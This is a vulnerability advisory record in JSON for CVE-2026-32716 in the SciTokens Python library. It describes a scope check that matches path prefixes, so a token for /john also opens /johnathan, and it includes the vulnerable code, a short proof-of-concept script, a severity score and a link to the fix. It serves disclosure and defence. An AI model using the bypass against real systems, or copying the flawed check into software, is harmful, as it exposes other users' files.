{"id":"CVE-2026-32716","aliases":["GHSA-w8fp-g9rh-34jh","PYSEC-2026-2276"],"url":"https://o3.security/vulnerability/CVE-2026-32716","summary":"SciTokens: Authorization Bypass via Incorrect Scope Path Prefix Checking","details":"### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n    for scope in value:\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n    for scope in value.split(\" \"):\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n    \"\"\"\n    Demonstrate an Authorization Bypass vulnerability in scope path checking.\n    \"\"\"\n    print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n    \n    issuer = \"https://scitokens.org/unittest\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Create a token with access to /john\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/john\"\n    \n    print(f\"Authorized path in scope: /john\")\n    \n    # 1. Test access to /john/file (should be allowed)\n    print(f\"[1] Testing legitimate subpath: /john/file\")\n    if enforcer.test(token, 'read', '/john/file'):\n        print(\"    -> Access GRANTED (Correct behavior)\")\n    else:\n        print(\"    -> Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n    # 2. Test access to /johnathan (SHOULD BE DENIED)\n    print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n    if enforcer.test(token, 'read', '/johnathan'):\n        print(\"    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -> Access DENIED (Correct behavior - fix is working)\")\n\n    # 3. Test access to /johnny (SHOULD BE DENIED)\n    print(f\"[3] Testing illegitimate sibling path: /johnny\")\n    if enforcer.test(token, 'read', '/johnny'):\n        print(\"    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -> Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n    # Ensure scitokens from src/ is available\n    sys.path.insert(0, \"src\")\n    poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.","published":"2026-03-31T01:31:44.350Z","modified":"2026-08-12T03:51:44.907811628Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"scitokens","fixedVersion":"1.9.6"}],"fix":{"url":"https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583","label":"scitokens/scitokens@7a237c0"},"references":[{"type":"WEB","url":"https://github.com/scitokens/scitokens/releases/tag/v1.9.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32716.json"},{"type":"ADVISORY","url":"https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32716"},{"type":"FIX","url":"https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583"},{"type":"PACKAGE","url":"https://github.com/scitokens/scitokens"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.907811628Z"}}